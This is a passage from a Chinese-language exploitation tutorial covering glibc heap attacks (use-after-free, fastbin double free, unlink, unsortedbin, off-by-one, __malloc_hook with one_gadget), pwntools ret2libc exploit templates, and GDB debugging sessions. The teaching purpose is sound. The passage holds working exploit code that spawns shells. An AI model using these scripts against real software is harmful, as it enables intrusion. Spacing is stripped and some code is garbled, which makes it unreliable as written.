n)的內(nèi)存分配器。了解堆的基本結(jié)構(gòu)和管理機制是堆漏洞分析的基礎(chǔ)。堆相關(guān)函數(shù):malloc(size_tsize):分配指定大小的內(nèi)存free(void*ptr):釋放之前分配的內(nèi)存calloc(size_tnmemb,size_tsize):分配并清零內(nèi)存realloc(void*ptr,size_tsize):調(diào)整已分配內(nèi)存的大小堆塊結(jié)構(gòu):在ptmalloc2中,每個堆塊由元數(shù)據(jù)和用戶數(shù)據(jù)兩部分組成:structmalloc_chunk{size_tprev_size;//前一個塊的大?。ㄈ绻皦K已釋放)size_tsize;//當(dāng)前塊大小+標(biāo)志位structmalloc_chunk*fd;//空閑鏈表前向指針(僅當(dāng)塊空閑時)structmalloc_chunk*bk;//空閑鏈表后向指針(僅當(dāng)塊空閑時)//用戶數(shù)據(jù)區(qū)...};size字段的低3位用作標(biāo)志位:PREV_INUSE(0x1):前一個塊是否使用中IS_MMAPPED(0x2):塊是否通過mmap分配NON_MAIN_ARENA(0x4):塊是否屬于非主arena堆管理機制:ptmalloc2使用多級管理結(jié)構(gòu)組織空閑塊:FastBins:小塊快速重用,單鏈表,LIFOUnsortedBin:新釋放的塊暫存處,雙鏈表SmallBins:小塊有序存儲,雙鏈表LargeBins:大塊有序存儲,雙鏈表,按大小排序Tcache:線程緩存,在較新版本libc中引入Use-After-Free漏洞泄露地址Use-After-Free(UAF)是指程序在釋放內(nèi)存后仍然使用指向該內(nèi)存的指針。這種漏洞可以用來泄露關(guān)鍵地址:分配包含指針的對象A釋放對象A分配新對象B到相同位置(堆噴技術(shù))通過原始指針訪問A,實際讀取了B的內(nèi)容示例代碼://假設(shè)有如下結(jié)構(gòu)體structObject{void(*func_ptr)(void);chardata[32];};//漏洞利用流程structObject*obj=malloc(sizeof(structObject));obj->func_ptr=some_function;//初始化函數(shù)指針free(obj);//釋放對象,但保留了指針//堆噴,使新對象占據(jù)原來位置char*new_obj=malloc(sizeof(structObject));memset(new_obj,'A',sizeof(structObject));//此時obj->func_ptr將包含'AAAAAAAA'printf("Leakeddata:%p\n",obj->func_ptr);通過這種方式,可以泄露堆上的指針、libc地址或其他關(guān)鍵信息,為后續(xù)攻擊提供基礎(chǔ)。堆漏洞高級利用doublefree與fastbin攻擊doublefree指的是同一個內(nèi)存塊被釋放兩次,這違反了內(nèi)存管理的基本原則,可能導(dǎo)致嚴(yán)重的安全問題。fastbinattack基本原理:分配一個fastbin大小的塊A釋放塊A(進入fastbin)釋放塊A第二次(現(xiàn)在fastbin中有A→A的循環(huán))分配一次(取出第一個A)分配第二次(取出第二個A,實際上是同一個塊)修改第一個A中的數(shù)據(jù),會影響第二個A利用這種重疊修改關(guān)鍵數(shù)據(jù)結(jié)構(gòu)新版libc中增加了檢查防止直接doublefree,但可以通過中間釋放其他塊繞過:A→B→A。fastbinattack示例代碼:frompwnimport*p=process('./vulnerable')#分配三個塊p.sendlineafter(b'>',b'1')#malloc(0x40)p.sendlineafter(b'size:',b'64')p.sendlineafter(b'content:',b'AAAA')#chunkAp.sendlineafter(b'>',b'1')#malloc(0x40)p.sendlineafter(b'size:',b'64')p.sendlineafter(b'content:',b'BBBB')#chunkBp.sendlineafter(b'>',b'1')#malloc(0x40)p.sendlineafter(b'size:',b'64')p.sendlineafter(b'content:',b'CCCC')#chunkC#依次釋放A,B,Ap.sendlineafter(b'>',b'2')#free(A)p.sendlineafter(b'index:',b'0')p.sendlineafter(b'>',b'2')#free(B)p.sendlineafter(b'index:',b'1')p.sendlineafter(b'>',b'2')#free(A)againp.sendlineafter(b'index:',b'0')#現(xiàn)在fastbin鏈為:A->B->Aunlink與unsortedbin攻擊unlink是堆管理器合并相鄰空閑塊的操作。在早期版本中,unlink操作可以被利用來實現(xiàn)任意地址寫入。unlink攻擊基本原理:構(gòu)造一個假的堆塊,使其fd和bk指針形成特定關(guān)系觸發(fā)對這個塊的unlink操作利用公式:FD->bk=BK;BK->fd=FD;實現(xiàn)任意地址寫入現(xiàn)代libc中增加了安全檢查:FD->bk==P&&BK->fd==P,限制了unlink攻擊,但在特定條件下仍可利用。unsortedbin攻擊:unsortedbin攻擊利用了釋放大塊內(nèi)存時會將塊放入unsortedbin并初始化fd和bk指針的特性:釋放一個大于fastbin大小的塊修改其fd指針為目標(biāo)地址-0x10觸發(fā)libc操作,使其執(zhí)行victim->bk->fd=unsorted_bin實現(xiàn)向任意地址寫入一個unsortedbin地址(泄露libc基址)//unsortedbinattack示例代碼uint64_t*chunk=malloc(0x80);free(chunk);//釋放到unsortedbin//修改fd指針chunk[0]=target_addr-0x10;//觸發(fā)操作(如malloc)導(dǎo)致寫入malloc(0x80);//此時target_addr處將包含指向main_arena的指針堆溢出與Hook函數(shù)利用off-by-one漏洞off-by-one(差一錯誤)是一種常見的邊界條件漏洞,在堆上表現(xiàn)為:寫入比分配空間多一個字節(jié)通常出現(xiàn)在循環(huán)或字符串操作中可以覆蓋下一個塊的元數(shù)據(jù)這種漏洞雖然只能修改一個字節(jié),但可能導(dǎo)致嚴(yán)重后果:修改下一個塊的size字段,創(chuàng)建堆塊重疊修改空閑塊的指針低字節(jié),影響鏈表結(jié)構(gòu)改變PREV_INUSE標(biāo)志位,觸發(fā)錯誤的合并操作典型的off-by-one漏洞代碼:voidvulnerable_function(){char*buffer=malloc(16);gets(buffer);//可能寫入17個字節(jié)//或使用循環(huán)時邊界條件錯誤for(inti=0;i<=16;i++){//注意是<=而非<buffer[i]='A';}}利用方法:分配兩個相鄰堆塊A和B利用off-by-one覆蓋B的size字段修改size使其包含下一個塊C釋放B后再分配,得到一個包含C的大塊此時可以修改C的內(nèi)容,實現(xiàn)堆重疊攻擊__malloc_hook、__free_hook與one_gadgetlibc中包含多個函數(shù)指針鉤子,用于調(diào)試和自定義內(nèi)存管理行為。這些鉤子可以被劫持來執(zhí)行任意代碼:__malloc_hook:malloc函數(shù)調(diào)用前會檢查此鉤子__free_hook:free函數(shù)調(diào)用前會檢查此鉤子__realloc_hook:realloc函數(shù)調(diào)用前會檢查此鉤子攻擊步驟:通過某種堆漏洞獲得任意地址寫入能力計算__malloc_hook或__free_hook的地址將鉤子覆蓋為one_gadget或system函數(shù)地址觸發(fā)相應(yīng)的malloc或free調(diào)用執(zhí)行shellcodeone_gadget技術(shù)one_gadget是libc中的特殊代碼片段,可以一步調(diào)用execve("/bin/sh",NULL,NULL)。使用方法:使用工具查找libc中的one_gadget:one_gadgetlibc.so.6選擇合適的gadget(根據(jù)約束條件)計算實際地址:libc基址+gadget偏移覆蓋鉤子函數(shù)指針完整漏洞利用示例:frompwnimport*p=process('./vulnerable')libc=ELF('./libc.so.6')#泄露libc地址(假設(shè)已有方法)#...獲取libc_base...#計算鉤子地址malloc_hook=libc_base+libc.symbols['__malloc_hook']one_gadget=libc_base+0x4527a#從one_gadget工具獲得#利用堆漏洞(如fastbinattack)寫入#...堆漏洞利用代碼...#覆蓋__malloc_hookpayload=p64(one_gadget)p.sendline(payload)#觸發(fā)malloc調(diào)用p.sendlineafter(b'>',b'1')#分配內(nèi)存p.sendlineafter(b'size:',b'64')#獲得eractive()第七章:實戰(zhàn)環(huán)境搭建與自動化腳本高效的環(huán)境搭建和自動化工具是安全研究的重要保障。本章將介紹實戰(zhàn)環(huán)境配置、常用Linux命令和自動化腳本開發(fā)技巧,幫助您構(gòu)建一個高效的安全研究工作流。Linux基礎(chǔ)技能掌握Linux系統(tǒng)的基本操作和命令行工具,為安全研究打下堅實基礎(chǔ)。常用shell命令與文件操作進程管理與監(jiān)控權(quán)限控制與系統(tǒng)設(shè)置網(wǎng)絡(luò)工具與遠(yuǎn)程訪問自動化腳本開發(fā)學(xué)習(xí)使用Python和pwntools庫開發(fā)漏洞利用腳本,提高工作效率。pwntools核心功能與API漏洞利用腳本框架自動化信息收集與分析批處理與多目標(biāo)利用調(diào)試與分析技巧掌握高效的調(diào)試方法和工具,快速定位和分析問題。GDB高級調(diào)試技巧調(diào)試插件功能與使用內(nèi)存分析與斷點技術(shù)動態(tài)追蹤與日志分析研究環(huán)境優(yōu)化構(gòu)建高效、穩(wěn)定的安全研究環(huán)境,提升工作體驗和效率。虛擬機管理與快照工具鏈配置與集成環(huán)境隔離與安全措施性能優(yōu)化與資源管理本章內(nèi)容將幫助您從臨時性的漏洞分析轉(zhuǎn)向系統(tǒng)化的安全研究,通過自動化工具和高效工作流程,大幅提升漏洞分析和利用的效率。我們將結(jié)合實際案例,講解各種工具和技術(shù)的應(yīng)用場景和最佳實踐。Linux命令行基礎(chǔ)文件操作命令熟練掌握文件操作是Linux使用的基礎(chǔ),以下是常用命令:ls:列出目錄內(nèi)容,常用選項-l(詳細(xì)信息)、-a(顯示隱藏文件)cd:切換目錄,cd..(上級目錄)、cd~(主目錄)pwd:顯示當(dāng)前工作目錄mkdir/rmdir:創(chuàng)建/刪除目錄touch:創(chuàng)建空文件或更新時間戳cp:復(fù)制文件,cp-r(遞歸復(fù)制目錄)mv:移動文件或重命名rm:刪除文件,rm-r(遞歸刪除)、rm-f(強制刪除)chmod:修改文件權(quán)限,如chmod+x(添加執(zhí)行權(quán)限)chown:修改文件所有者文本處理命令安全分析經(jīng)常需要處理文本數(shù)據(jù),以下命令非常有用:cat:查看文件內(nèi)容less/more:分頁查看大文件head/tail:查看文件開頭/結(jié)尾,tail-f(實時查看日志)grep:文本搜索,grep-r(遞歸搜索)、grep-i(忽略大小寫)sed:流編輯器,用于文本替換awk:強大的文本處理工具sort:排序文本行uniq:去除重復(fù)行wc:統(tǒng)計行數(shù)、字?jǐn)?shù)等系統(tǒng)與進程命令管理系統(tǒng)和進程是安全分析的重要部分:ps:查看進程,psaux(所有進程)top/htop:動態(tài)查看系統(tǒng)資源和進程kill/pkill:終止進程sudo:以管理員權(quán)限執(zhí)行命令uname-a:查看系統(tǒng)信息df-h:查看磁盤使用情況free-m:查看內(nèi)存使用情況lsof:列出打開的文件網(wǎng)絡(luò)相關(guān)命令網(wǎng)絡(luò)命令對于安全分析和遠(yuǎn)程操作至關(guān)重要:ifconfig/ip:查看網(wǎng)絡(luò)接口ping:測試網(wǎng)絡(luò)連通性netstat/ss:查看網(wǎng)絡(luò)連接ssh:安全遠(yuǎn)程登錄scp:安全復(fù)制文件wget/curl:下載文件nslookup/dig:DNS查詢tcpdump:網(wǎng)絡(luò)數(shù)據(jù)包分析腳本自動化基礎(chǔ)Shell腳本基礎(chǔ)Shell腳本是自動化簡單任務(wù)的理想選擇:#!/bin/bash#簡單的文件批處理示例#循環(huán)處理目錄中的所有ELF文件forfilein*.elf;doecho"Processing$file..."#檢查文件保護checksec--file=$file#提取字符串strings$file>$file.strings#反匯編文件objdump-d$file>$file.asmdoneecho"Processingcomplete!"常用管道和重定向管道和重定向是命令行強大的功能:|:管道,將一個命令的輸出作為另一個命令的輸入>:輸出重定向,將輸出寫入文件(覆蓋)>>:追加重定向,將輸出追加到文件末尾<:輸入重定向,從文件讀取輸入2>:錯誤輸出重定向&>:同時重定向標(biāo)準(zhǔn)輸出和錯誤輸出示例:#查找包含"password"的文件grep-r"password"/etc/2>/dev/null#提取二進制文件中的可打印字符串并篩選包含"flag"的行strings./binary|grep"flag"#查找當(dāng)前目錄下的所有ELF文件find.-typef-execfile{}\;|grepELFPython自動化利用腳本pwntools庫核心功能pwntools是CTF競賽和漏洞研究中最常用的Python庫,提供了豐富的功能:基本功能:進程交互:process()創(chuàng)建本地進程,remote()連接遠(yuǎn)程服務(wù)數(shù)據(jù)操作:p32/p64打包數(shù)據(jù),u32/u64解包數(shù)據(jù)日志記錄:(),log.success(),log.error()等字符串操作:16進制轉(zhuǎn)換,編碼解碼等高級功能:ELF解析:分析ELF文件結(jié)構(gòu),獲取符號地址ROP鏈構(gòu)造:自動搜索gadgets并構(gòu)建ROP鏈匯編/反匯編:匯編代碼和機器碼互轉(zhuǎn)Shellcode生成:內(nèi)置多種架構(gòu)的shellcode生成器符號動態(tài)解析:通過DynELF動態(tài)定位函數(shù)常用代碼片段:frompwnimport*#設(shè)置環(huán)境context.arch='amd64'#設(shè)置架構(gòu)context.log_level='debug'#設(shè)置日志級別#連接程序p=process('./vulnerable')#本地程序#p=remote('',1337)#遠(yuǎn)程服務(wù)#ELF解析elf=ELF('./vulnerable')libc=ELF('./libc.so.6')#地址獲取main_addr=elf.symbols['main']puts_plt=elf.plt['puts']puts_got=elf.got['puts']#ROP鏈構(gòu)造rop=ROP(elf)rop.raw(0x41414141)#添加原始數(shù)據(jù)rop.call('puts',[puts_got])#調(diào)用函數(shù)rop.call('main')#返回到main#發(fā)送和接收數(shù)據(jù)p.recvuntil(b'>')#接收直到特定字符串p.sendline(b'Hello')#發(fā)送一行數(shù)據(jù)eractive()#交互式shell編寫高效exp腳本示例一個完整的漏洞利用腳本通常包含以下部分:環(huán)境設(shè)置和連接建立信息收集和地址泄露漏洞利用載荷構(gòu)建攻擊執(zhí)行和獲取shell通用腳本模板:#!/usr/bin/envpython3frompwnimport*importsys#=====配置區(qū)域=====context.binary='./vulnerable'context.terminal=['terminator','-e']context.log_level='info'#=====全局變量=====elf=context.binarylibc=ELF('./libc.so.6',checksec=False)#=====工具函數(shù)=====defconn():ifargs.REMOTE:returnremote(args.HOST,args.PORT)else:returnprocess(elf.path)defattach_gdb():ifargs.GDB:gdb.attach(p,'''b*main+150c''')pause()#=====漏洞利用代碼=====defexploit(p):#1.泄露地址("Leakingaddresses...")#構(gòu)造泄露payloadpayload=b'A'*paddingpayload+=p64(pop_rdi)payload+=p64(elf.got['puts'])payload+=p64(elf.plt['puts'])payload+=p64(elf.symbols['main'])p.sendlineafter(b'>',payload)#解析泄露leak=p.recvuntil(b'\n',drop=True)puts_addr=u64(leak.ljust(8,b'\x00'))log.success(f"Leakedputs@GLIBC:{hex(puts_addr)}")#計算基址libc.address=puts_addr-libc.symbols['puts']log.success(f"Libcbase:{hex(libc.address)}")#2.獲取shell("Gettingshell...")payload=b'A'*paddingpayload+=p64(pop_rdi)payload+=p64(next(libc.search(b'/bin/sh')))payload+=p64(libc.symbols['system'])p.sendlineafter(b'>',payload)#3.交互eractive()#=====主函數(shù)=====if__name__=="__main__":#命令行參數(shù)parser=argparse.ArgumentParser()parser.add_argument('--gdb',action='store_true',dest='GDB')parser.add_argument('--remote',action='store_true',dest='REMOTE')parser.add_argument('--host',type=str,dest='HOST',default='')parser.add_argument('--port',type=int,dest='PORT',default=1337)args=parser.parse_args()#開始利用p=conn()try:attach_gdb()exploit(p)except:p.close()raise這個模板可以作為大多數(shù)漏洞利用腳本的起點,根據(jù)具體漏洞類型進行調(diào)整和擴展。調(diào)試與漏洞復(fù)現(xiàn)技巧GDB基本命令掌握GDB的基本命令是調(diào)試的基礎(chǔ):run(r):啟動程序break(b):設(shè)置斷點,如bmaincontinue(c):繼續(xù)執(zhí)行step(s):單步執(zhí)行,進入函數(shù)next(n):單步執(zhí)行,不進入函數(shù)print(p):打印變量值x:檢查內(nèi)存,如x/10gx$rspinfo:顯示信息,如inforegistersbacktrace(bt):顯示調(diào)用棧插件輔助命令GDB插件提供了更強大的調(diào)試功能:PEDA命令:checksec:檢查程序安全機制vmmap:顯示內(nèi)存映射patterncreate/search:創(chuàng)建和搜索特征字符串dumprop:轉(zhuǎn)儲ROPgadgetsGEF命令:heapchunks:顯示堆塊信息heapbins:顯示堆bin信息got:顯示GOT表trace-run:跟蹤執(zhí)行內(nèi)存分析技巧高效的內(nèi)存分析對漏洞調(diào)試至關(guān)重要:查看寄存器:inforegisters或regs查看棧:x/20gx$rsp查看特定地址:x/s0x12345678跟蹤數(shù)據(jù):watch*0x12345678條件斷點:b*0x4006a0if$rax==0x100反匯編:disassemblemain調(diào)試工作流一個高效的調(diào)試工作流程包括:程序分析:使用IDA/Ghidra理解程序結(jié)構(gòu)斷點設(shè)置:在關(guān)鍵位置設(shè)置斷點運行程序:觀察正常行為輸入測試:提供正常和異常輸入跟蹤執(zhí)行:觀察程序如何處理輸入檢查內(nèi)存:尋找漏洞和利用點反復(fù)測試:驗證漏洞假設(shè)GDB調(diào)試流程以下是一個典型的GDB調(diào)試會話示例,展示了調(diào)試棧溢出漏洞的完整流程:$gdb-q./vulnerablepwndbg>checksec[*]'/path/to/vulnerable'Arch:amd64-64-littleRELRO:PartialRELROStack:NocanaryfoundNX:NXenabledPIE:NoPIE(0x400000)pwndbg>disassemblevulnerable_function...匯編代碼...#在關(guān)鍵位置設(shè)置斷點pwndbg>b*vulnerable_function+50Breakpoint1at0x400676#設(shè)置異常處理斷點pwndbg>catchsyscallexecveCatchpoint2(syscall'execve'[59])#運行程序pwndbg>rStartingprogram:/path/to/vulnerableEnteryourinput:AAAABBBBCCCC#程序停在斷點1Breakpoint1,0x0000000000400676invulnerable_function()#檢查棧pwndbg>x/20gx$rsp0x7fffffffe180:0x41414141414141410x42424242424242420x7fffffffe190:0x43434343434343430x00000000000000000x7fffffffe1a0:0x00007fffffffe2700x0000000000400730...#計算覆蓋返回地址需要的填充長度pwndbg>patterncreate100'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'pwndbg>rStartingprogram:/path/to/vulnerableEnteryourinput:AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL#程序崩潰ProgramreceivedsignalSIGSEGV,Segmentationfault.0x0000000041414641in??()#查找偏移pwndbg>patternsearch0x0000000041414641[+]Exactmatchatoffset40#構(gòu)造利用載荷pwndbg>r<<(python-c'importsys;sys.stdout.buffer.write(b"A"*40+b"\xef\xbe\xad\xde")')...插件輔助調(diào)試實戰(zhàn)以下是使用GDB插件調(diào)試堆漏洞的示例:$gdb-q./heap_vulnerablepwndbg>bmainBreakpoint1at0x400750pwndbg>rStartingprogram:/path/to/heap_vulnerableBreakpoint1,0x0000000000400750inmain()#查看程序內(nèi)存布局pwndbg>vmmapLEGEND:STACK|HEAP|CODE|DATA|RWX|RODATA0x4000000x401000r-xp10000/path/to/heap_vulnerable...0x6030000x624000rw-p210000[heap]...#設(shè)置在關(guān)鍵malloc和free位置的斷點pwndbg>b*0x400860Breakpoint2at0x400860#運行到第一次分配pwndbg>cContinuing.Allocatingbuffer1...Breakpoint2,0x0000000000400860in??()#查看堆狀態(tài)pwndbg>heapchunksChunk(addr=0x603000,size=0x250,flags=PREV_INUSE)[0x000000000060300000000000000000000000000000000000................]Chunk(addr=0x603250,size=0x110,flags=PREV_INUSE)[0x000000000060325000000000000000000000000000000000................]...#填充數(shù)據(jù)后檢查pwndbg>cContinuing.Enterdataforbuffer1:AAAAAAAApwndbg>x/20gx0x6032500x603250:0x41414141414141410x000000000000
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 食品安全體系制度
- 2026河北邯鄲市曲周縣醫(yī)院招聘人事代理人員29人備考題庫帶答案詳解
- 2026四川九華光子通信技術(shù)有限公司招聘財務(wù)會計崗1人備考題庫及參考答案詳解一套
- 銷售者的生產(chǎn)者責(zé)任延伸制度
- 罕見腫瘤的個體化治療治療目標(biāo)個體化設(shè)定與患者價值觀
- 2026北京生命科學(xué)研究所NIBS徐墨實驗室招聘博士后及科研助理備考題庫及答案詳解1套
- 酒店前臺財務(wù)制度管理
- 集團財務(wù)制度及流程
- 家電清洗公司財務(wù)制度
- 工礦企業(yè)財務(wù)制度
- 駕校教練員安全知識培訓(xùn)課件
- 《危險化學(xué)品安全法》解讀與要點
- 電力網(wǎng)絡(luò)安全培訓(xùn)教學(xué)課件
- 2025年宜昌市“招才興業(yè)”市直事業(yè)單位人才引進47人·重慶大學(xué)站筆試歷年典型考題(歷年真題考點)解題思路附帶答案詳解
- 上海市徐匯區(qū)上海中學(xué)2025-2026學(xué)年高三上學(xué)期期中考試英語試題(含答案)
- 2025秋滬科版(五四制)(新教材)初中科學(xué)六年級第一學(xué)期知識點及期末測試卷及答案
- 孕婦貧血教學(xué)課件
- 5年(2021-2025)山東高考生物真題分類匯編:專題17 基因工程(解析版)
- 新華資產(chǎn)招聘筆試題庫2025
- 智能化項目驗收流程指南
- 搶劫案件偵查課件
評論
0/150
提交評論